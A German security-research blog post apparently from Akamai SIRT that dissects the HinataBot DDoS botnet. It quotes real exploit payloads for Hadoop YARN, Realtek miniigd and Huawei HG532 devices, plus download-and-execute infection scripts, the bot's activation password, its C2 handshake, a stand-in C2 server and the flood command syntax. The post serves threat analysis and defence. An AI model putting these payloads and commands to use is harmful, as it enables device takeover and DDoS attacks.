Aufdeckung von HinataBot: Ein tiefer Einblick in eine Go-basierte Bedrohung
Redaktion und weitere Beiträge von Tricia Howard
Zusammenfassung
Akamai-Forscher im Security Intelligence Response Team (SIRT) haben ein neues Go-basiertes, auf DDoS ausgerichtetes Botnet entdeckt. Der Malware-Entwickler scheint die Malware nach einer Figur aus der beliebten Anime-Serie Naruto benannt zu haben: Hinata. Wir nennen sie „HinataBot“.
HinataBot wurde in den ersten drei Monaten des Jahres 2023 verbreitet und wird von den Entwicklern/Betreibern aktiv aktualisiert.
Die Probe wurde in HTTP- und SSH-Honeypots entdeckt und nutzt alte Schwachstellen und schwache Anmeldedaten aus.
Zu den beobachteten Infektionsversuchen gehört die Ausnutzung des miniigd-SOAP-Service auf Realtek-SDK-Geräten (CVE-2014-8361), Huawei HG532-Routern (CVE-2017-17215) und verfügbar gemachten Hadoop YARN-Servern (CVE n. v.).
Durch eine Kombination aus Reverse Engineering der Malware und der Imitation des C2‑Servers (Command and Control) konnten wir genau untersuchen, wie die Malware funktioniert und was ihren Angriffstraffic einzigartig macht.
Wir stellen vor: HinataBot
HinataBot ist eine Go-basierte Malware, die die Sicherheitsforscher des SIRT von Akamai kürzlich in HTTP- und SSH-Honeypots gefunden haben. Diese spezielle Probe stach aufgrund ihrer Größe und der fehlenden spezifischen Identifizierung ihrer neueren Hashes hervor. Der Malware-Entwickler scheint die Malware nach einer Figur aus der beliebten Anime-Serie Naruto benannt zu haben: „Hinata“ – mit Dateinamensstrukturen wie „Hinata-<OS>-<Architecture>“.
HinataBot ist der neueste Eintrag in der ständig wachsenden Liste neuer Go-basierter Bedrohungen, zu denen auch Botnets wie GoBruteForcer und das kürzlich (vom SIRT) entdeckte kmsdbot gehören. Go wurde von Angreifern genutzt, um die Vorteile seiner hohen Performance, des einfachen Multithreadings sowie der Unterstützung mehrerer Architekturen und Betriebssysteme bei der Kompilierung zu nutzen – wahrscheinlich aber auch, weil bei der Kompilierung die Komplexität erhöht wird, was das Reverse Engineering der resultierenden Binärdateien erschwert.
HinataBot verwendet verschiedene Kommunikationsmethoden – es kann beispielsweise Verbindungen herstellen und eingehende Verbindungen überwachen – und wurde bei DDoS-Flooding-Angriffen (Distributed Denial of Service) beobachtet, bei denen Protokolle wie HTTP, UDP, TCP und ICMP zum Senden von Traffic verwendet werden. In der neuesten Version hat HinataBot seine Angriffsmethoden jedoch auf HTTP- und UDP-Angriffe beschränkt.
HinataBot-Infektionskampagnen
Die beobachteten Verbreitungsmethoden waren eine Mischung aus Infektionsskripten und vollständigen Payloads unter Verwendung zweier primärer Schwachstellen: ein Hadoop YARN RCE (Abbildung 1) und eine Schwachstelle im SOAP-Service „miniigd“ auf Realtek-SDK-Geräten (CVE-2014-8361; Abb. 2).
/ws/v1/cluster/apps
{"application-id": "application_1404198295326_0003", "application-name": "get-shell", "am-container-spec": {"commands": {"command": "wget http://xxx.xxx.xxx.xxx/bins/hinata-linux.amd64 && chmod +x hinata-linux.amd64 && ./hinata-linux.amd64 &"}}, "application-type": "YARN"}
Abb. 1: Payload-Verbreitung über Hadoop YARN RCE
/picsdesc.xml
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp/; rm -rf *; wget http://xxx.xxx.xxx.xxx/bins/hinata-linux.mips`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Abb. 2: Payload-Verbreitung über CVE-2014-8361
Diese Angriffe traten an mehreren Tagen zwischen dem 11. und 16. Januar 2023 auf. Die Angreifer nutzten mehrere Versionen von Infektionsskripten, die im Laufe der Zeit aktualisiert wurden. Die beiden primären Skripte hießen „wget.sh“ (Abbildung 3) und „tftp.sh“ (Abbildung 4) – die Namen spiegeln die entsprechenden Protokolle zum Abrufen der Payload wider.
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-aix.ppc64; chmod +x hinata-aix.ppc64; ./hinata-aix.ppc64; rm -rf hinata-aix.ppc64;
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-android.386; chmod +x hinata-android.386; ./hinata-android.386; rm -rf hinata-android.386;
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-android.amd64; chmod +x hinata-android.amd64; ./hinata-android.amd64; rm -rf hinata-android.amd64;
Abb. 3: Infektionsskript „wget.sh“ verwendet WGET, um Payload herunterzuladen
cd /tmp cd /var/run cd /mnt cd /root cd /; ftpget -v -u anonymous -p anonymous -P 21 xxx.xxx.xxx.xxx hinata-aix.ppc64 hinata-aix.ppc64; chmod +x hinata-aix.ppc64; ./hinata-aix.ppc64; rm -rf hinata-aix.ppc64;
cd /tmp cd /var/run cd /mnt cd /root cd /; ftpget -v -u anonymous -p anonymous -P 21 xxx.xxx.xxx.xxx hinata-android.386 hinata-android.386; chmod +x hinata-android.386; ./hinata-android.386; rm -rf hinata-android.386;
cd /tmp cd /var/run cd /mnt cd /root cd /; ftpget -v -u anonymous -p anonymous -P 21 xxx.xxx.xxx.xxx hinata-android.amd64 hinata-android.amd64; chmod +x hinata-android.amd64; ./hinata-android.amd64; rm -rf hinata-android.amd64;
Abb. 4: Infektionsskript „tftp.sh“ verwendet FTP, um Payload herunterzuladen
In den SSH-Honeypots nutzten die Angreifer Brute-Force-Taktiken und testeten beliebte Nutzernamen- und Kennwortkombinationen. Nach der erfolgreichen Anmeldung öffneten die Angreifer eine Shell und führten die in Abbildung 5 dargestellten Aktionen aus.
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://xxx.xxx.xxx.xxx/wget.sh; curl -O http://xxx.xxx.xxx.xxx/wget.sh; chmod 777 *; tftp -g xxx.xxx.xxx.xxx -r wget.sh; tftp xxx.xxx.xxx.xxx -c get wget.sh; tftp -r wget.sh -g xxx.xxx.xxx.xxx; sh wget.sh; tftp -g xxx.xxx.xxx.xxx -r tftp.sh; tftp xxx.xxx.xxx.xxx -c get tftp.sh; tftp -r tftp.sh -g xxx.xxx.xxx.xxx; chmod 777 *; sh tftp.sh; rm -rf *.sh; history -c; cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; busybox wget http://xxx.xxx.xxx.xxx/wget.sh; busybox curl -O http://xxx.xxx.xxx.xxx/wget.sh; busybox chmod 777 *; busybox tftp -g xxx.xxx.xxx.xxx -r wget.sh; busybox tftp xxx.xxx.xxx.xxx -c get wget.sh; busybox tftp -r wget.sh -g xxx.xxx.xxx.xxx; sh wget.sh; busybox tftp -g xxx.xxx.xxx.xxx -r tftp.sh; busybox tftp xxx.xxx.xxx.xxx -c get tftp.sh; busybox tftp -r tftp.sh -g xxx.xxx.xxx.xxx; busybox chmod 777 *; sh tftp.sh; rm -rf *.sh; history -c;
Abb. 5: Shell-Skript versucht, Payload in Cowrie-Honeypots herunterzuladen
Die HinataBot-Malware wurde in Form von Go-Binärdateien verbreitet, die in verschiedenen Architekturen und Betriebssystemen ausgeführt werden können. Dieser Trend, dass Malware-Entwickler spezielle Payloads für mehrere Plattformen entwickeln, hat in den letzten Jahren immer stärker zugenommen (Abbildung 6) – wahrscheinlich aufgrund der einfachen übergreifenden Kompilierung und weil das Internet of Things (IoT) sowie kleine Büros/Homeoffices weniger gängige CPU-Architekturen verwenden. Und diese Umgebungen sind für Angreifer äußerst attraktiv.
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-arm5
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-arm6
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-arm64
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-arm7
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-mips64
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-386
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-amd64
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-arm
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-arm5
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-arm6
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-arm7
http://xxx.xxx.xxx.xxx/bins/hinata-solaris-amd64
http://xxx.xxx.xxx.xxx/bins/hinata-windows-386.exe
http://xxx.xxx.xxx.xxx/bins/hinata-windows-amd64.exe
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm5
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm6
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm64.exe
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm7
http://xxx.xxx.xxx.xxx/bins/hinata-linux.amd64
Abb. 6: Payloads in den verschiedenen Kombinationen aus Betriebssystem und Architektur
Indem wir die Verbreitungs-IP als Ausgangspunkt verwendet haben, konnten wir zwei weitere IPs identifizieren, die zuvor für die Verbreitung verwendet wurden. Als Proxy wurde jeweils die Ausgangs-IP verwendet. Eine weitere Analyse ergab, dass die Angreifer vor der Entwicklung ihrer eigenen Go-basierten Malware versucht hatten, eine generische Mirai-Variante zu verbreiten, die in UPX-Paketen verpackt war und einen weniger offensichtlichen Namen verwendete (Abbildung 7).
tftp://xxx.xxx.xxx.xxx/tftp.sh
http://xxx.xxx.xxx.xxx/wget.sh
tftp://xxx.xxx.xxx.xxx/wget.sh
http://xxx.xxx.xxx.xxx/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.x86
Abb. 7: Verschiedene Infektionsskripte und generische Mirai-Binärdatei
Die ersten Versuche der Malware-Verbreitung fanden bereits im Dezember 2022 statt. Hierbei kamen sehr unterschiedliche Infektionsskripte zum Einsatz (Abbildung 8). Diese früheren Skripte waren möglicherweise ein erster Test, der von den Entwicklern durchgeführt wurde, um die Effektivität ihrer Taktiken und Tools zu messen.
# Hinata
# Get the Kernel Name
# wget http://xxx.xxx.xxx.xxx/infect.sh && chmod +x infect.sh && ./infect.sh && rm -rf infect.sh
Kernel=$(uname -s)
case $Kernel in
Linux) Kernel="linux" ;;
Darwin) Kernel="darwin" ;;
Windows) Kernel="windows" ;;
Android) Kernel="android" ;;
FreeBSD) Kernel="freebsd" ;;
Dragonfly) Kernel="dragonfly" ;;
OpenBSD) Kernel="openbsd" ;;
NetBSD) Kernel="netbsd" ;;
Solaris) Kernel="solaris" ;;
*) echo "Your Operating System -> ITS NOT SUPPORTED" ; exit 1 ;;
esac
# Get the machine Architecture
Architecture=$(uname -m)
case $Architecture in
x86) Architecture="x86" ;;
ia64) Architecture="ia64" ;;
i?86) Architecture="x86" ;;
amd64) Architecture="amd64" ;;
x86_64) Architecture="amd64" ;;
sparc64) Architecture="sparc64" ;;
i386) Architecture="i386" ;;
arm64) Architecture="arm64" ;;
arm7) Architecture="arm" ;;
armc) Architecture="arm" ;;
386) Architecture="386" ;;
mips) Architecture="mips" ;;
mipsle) Architecture="mipsle" ;;
mips64) Architecture="mips64" ;;
mips64le) Architecture="mips64le" ;;
ppc64) Architecture="ppc64" ;;
ppc64le) Architecture="ppc64le" ;;
s390x) Architecture="s390x" ;;
riscv64) Architecture="riscv64" ;;
*) echo "Your Architecture '$Architecture' -> ITS NOT SUPPORTED." ; exit 1 ;;
esac
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;
wget http://xxx.xxx.xxx.xxx/bins/hinata-$Kernel-$Architecture;
curl -O http://xxx.xxx.xxx.xxx/bins/hinata-$Kernel-$Architecture;
chmod +x *;
./hinata-$Kernel-$Architecture;
Abb. 8: Ältere Infektionsskripte
Darüber hinaus konnten wir eine weitere Schwachstelle identifizieren, die die Angreifer missbraucht haben, um frühere Versionen ihrer Infektionsskripte zu verbreiten (Abbildung 9). Diese Schwachstelle, CVE-2017-17215, wirkt sich auf HG532-Router von Huawei aus und ermöglicht die Remoteausführung von willkürlichem Code.
/ctrlt/DeviceUpgrade_1
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://xxx.xxx.xxx.xxx/KKveTTgaAAsecNNaaaa/KKveTTgaAAsecNNaaaa.mips; chmod 777 *; ./KKveTTgaAAsecNNaaaa.mips)>NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Abb. 9: Einsatz von CVE-2017-17215 zur Infektion von Huawei HG532-Routern
Die Bedrohungsakteure hinter HinataBot sind seit mindestens Dezember 2022 aktiv, haben aber erst Mitte Januar 2023 begonnen, eigene Malware zu entwickeln. Seitdem haben wir mehrere Varianten der Malware und verschiedene Ausgangspunkte bei den Infektionstechniken beobachtet. Die primäre IP-Adresse, die für die Verteilung und die C2‑Verbindungen (Command and Control) verwendet wurde, war in der Vergangenheit an der Verbreitung von Spam und Malware beteiligt. Bisher ist nicht ganz klar, ob die IP von sich aus schädlich ist oder nur kompromittiert wurde und nun missbraucht wird.
Mirai-Einflüsse
Wie bereits erwähnt, verbreiteten die Akteure hinter HinataBot ursprünglich Mirai-Binärdateien, eine bekannte Malware-Familie, die zu Anfang auf IoT-Geräte abzielte, Open-Source-basiert war und immer wieder von verschiedenen Akteuren und Gruppen übernommen (und dementsprechend auch weiterentwickelt) wurde. Mirai ist nun für zahlreiche Varianten und Botnets verantwortlich, die von verschiedenen Entwicklern, Akteuren und Gruppen erstellt wurden.
Bei der Betrachtung älterer DNS-Datensätze können wir sehen, dass die zuletzt mit HinataBot verbundene IP-Adresse seit Februar 2023 für die Domain „hihi.mirailovers.pw“ aufgelöst wurde (Abbildung 10).
Es gab zahlreiche öffentliche Versuche, Mirai in Go neu zu schreiben, und HinataBot scheint einer ähnlichen Struktur zu folgen wie einige dieser Versuche. Die Art und Weise, wie HinataBot die Kommunikation in seiner Hauptmethode einrichtet und wie es Befehle analysiert und Attacken in seinen Angriffsmethoden startet, ähnelt beispielsweise der Struktur, die in anderen Go-basierten Mirai-Varianten verwendet wird.
Es ist anzumerken, dass sich HinataBot noch in seiner Entwicklungsphase befindet und sich weiterentwickeln wird. Daher ist es schwierig, vorherzusagen, wie sich die Malware verändern wird und wie sie in Zukunft aussehen könnte.
Der erste Blick
Wir haben zunächst versucht, die neueste Verbreitungs-IP zu erreichen, doch obwohl wir sie anpingen konnten, konnten wir die Probe nicht direkt vom Server herunterladen. Das kann darauf hinweisen, dass die Angreifer einen Schutzmechanismus implementiert haben oder dass sie die Proben nach der Verbreitung entfernen, wodurch es schwieriger wird, sie außerhalb eines direkten Angriffs abzurufen. Bei älteren Kampagnen derselben Akteure haben wir scheinbar randomisierte Namensmuster beobachtet (siehe Abbildung 9).
Glücklicherweise haben wir Zugang zu einer Probe erhalten, die unsere automatisierten Analysetools zum Zeitpunkt der ersten Infektion gespeichert hatten. Wir haben sowohl die MIPS32- als auch die x86-64-Version aus unserem Malware-Repository heruntergeladen und mit der statischen Analyse begonnen. Die Binärdateien wurden beide in Go geschrieben, doch sie waren relativ leicht zu bearbeiten, da sie nicht beschädigt, nicht gepackt und nicht reduziert waren (Abbildung 11). Die Versionen der Binärdateien aus den Tagen vor dieser Veröffentlichung wurden seither entfernt, wodurch das Reverse Engineering in Zukunft schwieriger wird.
$ file hinata
hinata: ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), statically linked, Go BuildID=gfgPbqdcg0-yRmHHtXPR/IBS6ZkQMVMHVV2qxav1B/EFvlrym6DccdYqeOZ5d7/cclENKTkTyznOj0NvSFl, not stripped
Abb. 11: Ausführen des Befehls „file“ in Hinata
Zunächst begannen wir mit der Analyse einer zweimonatigen HinataBot-Malware-Probe (Abbildung 12), doch später fanden wir eine neuere Probe (Abbildung 13), die am selben Tag veröffentlicht worden war, an dem wir die Malware in unseren Protokollen entdeckt hatten. Wir haben uns anschließend dazu entschieden, stattdessen die neuere Probe zu analysieren.
Der Hauptunterschied zwischen den beiden Versionen besteht darin, dass die neuere Probe optimiert wurde und über mehr modulare Funktionalität verfügt. Darüber hinaus enthält die neuere Probe einige grundlegende Sicherheitsmaßnahmen, die in der Originalversion nicht vorhanden waren. Wir werden diese Unterschiede in einem späteren Abschnitt dieses Beitrags näher erläutern.
hinata-linux-mips
5.98 MB
995681f388f5e0a405c282ae9ce22dc41f2249f0f5208254e1eec6e302d7ad7d
Abb. 12: HinataBot-Probe vom Januar 2023
hinata-linux-mips
4.49 MB
71154ad6bd1a8a79fc674c793bb82b8e7d1371eca0f909c6e4a98ef8e7f5d1da
Abb. 13: HinataBot-Probe vom März 2023
Bei unserer Analyse haben sich sofort mehrere Funktionen als interessant erwiesen. Drei verschiedene Angriffsfunktionen sind uns sofort ins Auge gesprungen: sym.main.startAttack, sym.main.http_flood und sym.main.udp_flood (Abbildung 14). Die Namen dieser Funktionen deuten darauf hin, dass die Malware zum Starten von DDoS-Angriffen gedacht ist.
Eine weitere Analyse der Malware gab Hinweise auf die C2‑Kommunikation, die ebenfalls darauf hindeutete, dass HinataBot Teil einer DDoS-orientierten Botnet-Kampagne war (Abbildung 15).
Abbildung der C2-Kommunikation
Um zu verstehen, wie die HinataBot-Malware eine Verbindung zu ihrem C2‑Server herstellt, haben wir von der Zeichenfolge „Connection to CNC is OK!“ (Verbindung zu CNC ist okay!) aus rückwärts gearbeitet und mit der Suche nach Querverweisen auf die Zeichenfolge begonnen (Abbildung 16). Mit diesem Prozess konnten den Mechanismus abbilden, über den die Malware mit ihrem C2‑Server kommuniziert.
Unsere Untersuchung führte schließlich zum C2-Server für HinataBot, der TCP/1420 überwacht – und zwar unter derselben IP-Adresse, über die die Malware während der Infektionskampagne verteilt wurde (Abbildung 17).
Im Assemblycode fanden wir auch Verweise auf eine API, die für Verbindungen verwendet wird („API_CONNECTION_ATTACK“), sowie zahlreiche mögliche Befehle, die an das infizierte Gerät ausgegeben werden können – und die wir alle unbedingt ausprobieren wollten (Abbildung 18).
Zu diesem Zeitpunkt waren wir zuversichtlich, dass die Probe, das uns vorlag, eine Verbindung zum Verbreitungs-/C2-Server aufbauen würde, um ihn zu benachrichtigen, dass der Bot ausgeführt wird und auf Befehle wartet. Doch der C2-Server war mittlerweile offline.
Eine interessante Beobachtung ist, dass HinataBot auch einen eigenen Listening-Port an TCP/61420 öffnet (Abbildung 19). Da unser Hauptziel dieser Studie darin bestand, den von diesem Botnet erzeugten Angriffstraffic besser zu verstehen, haben wir nicht viel Zeit mit der Untersuchung dieser Funktion verbracht, da sie scheinbar nicht relevant war.
Wir haben jedoch festgestellt, dass die Timing-Unterschiede dieses Listeners von einer erfolgreichen Verbindung mit dem C2 abhängen: In Fällen, in denen erfolgreich ein C2‑Server kontaktiert wurde, wird dieser Listener nach drei Minuten deaktiviert. In Fällen, in denen der C2‑Server nicht erreicht werden konnte, überwacht dieser Port weiterhin ohne offensichtliche Zeitbegrenzung. An diesem Port müssen weitere Untersuchungen durchgeführt werden, um vollständig zu verstehen, welche Funktionen er den Betreibern ermöglicht, z. B. ob es sich um eine Art Peer-to-Peer-Funktionalität oder möglicherweise um eine Aktualisierungs-, Kontroll- oder Wiederherstellungsfunktion handelt. Zum Zeitpunkt der Verfassung dieses Beitrags können wir keine definitive Antwort geben.
Gespräch mit HinataBot
In der nächsten Phase unserer Untersuchung infizierten wir absichtlich mehrere Maschinen und erstellten einen C2-Server, um die Interaktionen, Sicherheitsmaßnahmen und Trafficmuster von HinataBot zu analysieren. Wir werden kurz einige der Prozesse von HinataBot sowie einige Beobachtungen vorstellen, die während des Reverse Engineerings der Malware gemacht wurden.
HINATA_START_NICE
Wie bereits erwähnt, enthielt die neuere HinataBot-Probe einige grundlegende Sicherheitsmaßnahmen, die in früheren Versionen nicht vorhanden waren. Die erste Maßnahme war eine Passwortanforderung. Beim Ausführen der Probe ist das Erste, was ins Auge springt, eine nicht erfasste Ausnahme. Die daraus resultierende Fehlermeldung macht es ziemlich deutlich (Abbildung 20).
Nach näherer Untersuchung der Fehlermeldung haben wir festgestellt, dass für die Probe ein zusätzliches Argument bei der Ausführung übergeben werden muss. Zwar kommen Sie mit jeder beliebigen Zeichenfolge, die Sie an dieses Argument übergeben, an der nicht erfassten Ausnahme vorbei, doch HinataBot wird ordnungsgemäß beendet. So wurde offensichtlich, dass wir zur Disassemblierung zurückkehren mussten, um zu sehen, wonach HinataBot in diesem Argument suchen könnte.
Wir haben die Malware-Probe durchsucht und schließlich die 17-stellige (0x005fe3d2) Zeichenfolge "HINATA_START_NICE" (0x005fe3d8) gefunden, die in einem sym.runtime.memequal-Aufruf (0x005fe3e0) verwendet werden, der fehlschlug und die Malware dazu veranlasste, zu einer ret-Anweisung überzugehen und die Ausführung zu beenden (Abbildung 21). Wir haben diese Zeichenfolge als Argument bei der Ausführung der Probe verwendet, was zu einem interessanteren Code führte.
Interessanterweise beginnt die Naruto-Anime-Figur namens Hinata als friedlicher und sanfter Charakter, bevor sie zu einer wilden Kämpferin wird, worauf die Malware-Autoren möglicherweise anspielen, wenn sie das Argument „HINATA_START_NICE“ verwenden, bevor die Malware mit ihrem C2-Server kommuniziert und sich an der Ausführung von Angriffen beteiligt.
Es ist erwähnenswert, dass diese Passwortanforderung in den älteren HinataBot-Malware-Proben vom Januar 2023 nicht vorhanden war. Daher enthielten die meisten der Infektionsskripte, auf die wir gestoßen sind, dieses Argument nicht. Nachdem wir diese Anforderung entdeckt hatten, konnten wir jedoch bei näherer Betrachtung die neueren Infektionsskripte aufspüren (Abbildung 22), die dieses Argument zum Zeitpunkt der Infektion an die Binärdateien weitergaben. Es wäre praktisch gewesen, das im Voraus zu wissen.
#!/bin/bash
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-aix-ppc64; chmod +x hinata-aix-ppc64; ./hinata-aix-ppc64 HINATA_START_NICE; rm -rf hinata-aix-ppc64;
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-android-386; chmod +x hinata-android-386; ./hinata-android-386 HINATA_START_NICE; rm -rf hinata-android-386;
cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-android-amd64; chmod +x hinata-android-amd64; ./hinata-android-amd64 HINATA_START_NICE; rm -rf hinata-android-amd64;
Abb. 22: Neues Infektionsskript mit dem Passwort
Go.123+Strings-456.Are_789-Weird
Unsere Analyse der HinataBot-Probe ergab eine große Anzahl sehr langer Klartext-Zeichenfolgen, die in der Binärdatei eingebettet sind. Go verwendet einen einzigartigen Ansatz beim Speichern von Zeichenfolgenliteralen, indem sie in einem zusammenhängenden Speicherblock platziert werden, der als „Zeichenfolgentabelle“ oder „Zeichenfolgenpool“ bezeichnet wird.
Wenn also der Zeichenfolgenbefehl oder die Disassembler in einer Go-Bibliothek ausgeführt werden, wirkt die Ausgabe wie eine verwirrende Mischung aus Zeichen, was die Unterscheidung zwischen einzelnen Zeichenfolgen in der Tabelle erschwert (Abbildung 23).
Diese Technik unterscheidet sich von anderen Programmiersprachen, die in der Regel Null-terminierte Byte-Strings speichern. Ohne diese abschließenden Null-Bytes lesen Tools eine ermittelte Zeichenfolge so lange, bis sie auf ein Null-Byte stoßen. Das erschwert die einfache Analyse von Zeichenfolgen.
Mit einem Blick auf die Querverweise von Codesegmenten auf die Adresssegmente der Zeichenfolgentabelle lässt sich erkennen, wo einzelne Zeichenfolgen in der größeren Tabelle beginnen. In der Regel können Sie auch feststellen, dass ihre Länge in ein Register geladen wird, bevor oder nachdem die Zeichenfolge geladen wird, oder als Teil eines Funktionsaufrufs, der das referenzierte Zeichenfolgensegment verwendet (Abbildung 24). Es ist etwas gewöhnungsbedürftig, aber wenn man die Konvention verinnerlicht hat, ist es ziemlich einfach.
Sprich mit uns, HinataBot
Nachdem wir die Passwortanforderung erfüllt hatten, mussten wir eine Verbindung zum C2-Server herstellen. Ähnlich wie wir das Passwort entdeckt haben, konnten wir die notwendigen Komponenten des Handshake-Protokolls identifizieren, die für den Aufbau einer Verbindung zum C2-Server erforderlich sind, der zum Zeitpunkt dieser Recherche/Erstellung des Textes ausgefallen war.
Mit netcat haben wir Port 1420 überwacht und haben dann die Binärdatei so gepatcht, dass sie eine von uns kontrollierte IP als C2-Server verwendete. Sobald die Verbindung hergestellt war, haben wir die entsprechenden Auslöser an das infizierte Gerät gesendet und es für die Angriffsbeteiligung vorbereitet (Abbildung 25).
Der Handshake bestand aus einer ersten Verbindung, gefolgt von einem Bot, der die Meldung „API_CONNECTION_BOT [Betriebssystem]/[Architektur] [Hostname]“ sendete. Der Bot erwartet dann eine Meldung API_CONNECTION_SIGNAL_OK vom C2-Server, der den Bot darauf vorbereiten sollte, auf eingehende Befehle zu warten (Abbildung 26). Nachdem der Handshake erledigt wurde, senden wir das Signal API_CONNECTION_ATTACK: zum Initiieren von Angriffen.
Wir haben einen sehr einfachen C2-Server erstellt, um die Wartung dieser Verbindung zu automatisieren. Außerdem konnten wir so einen in einer Textdatei gespeicherten Befehl ändern und senden, ohne den Code ändern zu müssen, was sehr einfache und schnelle Tests ermöglichte (Abbildung 27). Das hat uns im Verlauf dieser Studie ziemlich viel Zeit erspart.
#!/usr/bin/env python
from pwn import *
import time
l = listen(1420)
l.wait_for_connection()
time.sleep(1)
l.send(b'API_CONNECTION_SIGNAL_OK')
while True:
data = l.recv()
if data:
print(time.time(), data)
if data == b'API_CONNECTION_SIGNAL_CHECK':
continue
else:
print(time.time(), 'no data recv\'d')
cmdf = open('cmd.txt','r')
cmdt = cmdf.read()
cmdf.close()
if cmdt == "":
cmdt = b'API_CONNECTION_SIGNAL_OK'
print(time.time(), 'SENT:', cmdt)
l.send(cmdt)
Abb. 27: Neu erstellter C2-Server zur Aufrechterhaltung der Verbindung zum infizierten Knoten
Obwohl diese Interaktionen mit HinataBot schon sehr interessant waren, bestand unser ultimatives Ziel darin, die Malware in Aktion zu beobachten und zu sehen, wie ihr Angriffstraffic bei der Übertragung an Zielsysteme aussah. Nachdem die grundlegende C2-Kommunikation eingerichtet war, begannen wir nun, uns mit dem Angriffsbefehl, der Verarbeitungslogik und der Abbildung der Angriffsbefehlsstrukturen zu befassen.
HinataBot zeigt sein wahres Gesicht
Die neueste Version dieser Malware verfügt über zwei primäre Angriffsmethoden: HTTP und UDP. Die ältere Version enthielt diese beiden Methoden sowie Angriffsmethoden, die ICMP- und TCP-Floods nutzten. Es ist unklar, warum diese Methoden entfernt wurden.
Um einen genaueren Blick auf den tatsächlichen Angriffstraffic zu erhalten, nutzten wir unseren eigens erstellten C2-Server, um die Verbindung aufrechtzuerhalten, während der Bot uns Heartbeat-Signale sendete. So konnten wir uns nur auf die Angriffsbefehle konzentrieren und mussten uns keine Gedanken über die Aufrechterhaltung einer Verbindung zum infizierten Gerät machen.
Nach umfangreichen Analysen und Tests waren wir schließlich in der Lage, die Struktur und die Felder zu bestimmen, die erforderlich sind, um Angriffe zu starten und Pakete bei der Übertragung abzufangen. Der Malware-Entwickler nutzt mehrere Go-Konventionen wie anonyme Funktionen, Goroutines, Channels, Workerpools und Waitgroups, was das Reverse Engineering ein wenig erschwerte. Nach einer Reihe von Tests hatten wir schließlich die Befehlsstruktur des Angriffs ermittelt (Abbildung 28).
API_CONNECTION_ATTACK: [ATTACK_TYPE] [TARGET] [DURATION] [UDP_OPTIONS]
Abb. 28: Angriffsbefehlsstruktur
Einmal vollständig abgebildet, ist die grundlegende Befehlsstruktur sehr einfach. Angriffsbefehle beginnen immer mit API_CONNECTION_ATTACK: gefolgt von drei erforderlichen Feldern: Angriffstyp ( ATTACK_TYPE), Ziel ( TARGET) und Angriffsdauer ( DURATION. Für den Typ udp_flood gibt es auch ein viertes Angriffsfeld: „UDP_OPTIONS“. Grund dafür, dass dieses Feld bei udp_flood-Angriffen erforderlich ist, ist die Art und Weise, wie die Befehlsprüfung erfolgt. Seltsamerweise muss es jedoch nicht gültig sein.
Angriffstyp 0: http_flood
Der Befehl http_flood verwendet anscheinend keine zusätzlichen Optionsparameter, wie der Angriff udp_flood es tut. Da der Bot auf der nativen Go-Bibliothek „ net.http “ basiert, kommt der Großteil der Konfiguration und des Optionsparsings für diesen Angriff direkt von der Go-Bibliothek selbst und wird über die TARGET-Anweisung gesteuert.
Im Angriffsbefehl in Abbildung 29 starten wir einen http_flood-Angriff (Typ 0) auf 127.127.127.127 über TCP/31337, der 10 Sekunden dauern wird. Pfad, Port, GET-Parameter und Protokoll werden alle von dieser TARGET-Anweisung abgeleitet. Wenn kein Port angegeben wird, wird standardmäßig TCP/80 verwendet.
API_CONNECTION_ATTACK: 0 http://127.127.127.127:31337/asdf?a=GETA&b=GETB 10
Abb. 29: Angriffsbefehlsstruktur für einen http_flood-Angriff
Wie bereits erwähnt, stützt sich diese Binärdatei auf die Go-eigene net.http -Bibliothek, um Angriffe durchzuführen. Der Bot erstellt über Goroutines einen Workerpool mit 512 Workern, und jeder Worker erstellt sein eigenes net.http.Request -Objekt. In Abbildung 30 sehen wir, wie dies innerhalb eines einzelnen Workers funktioniert.
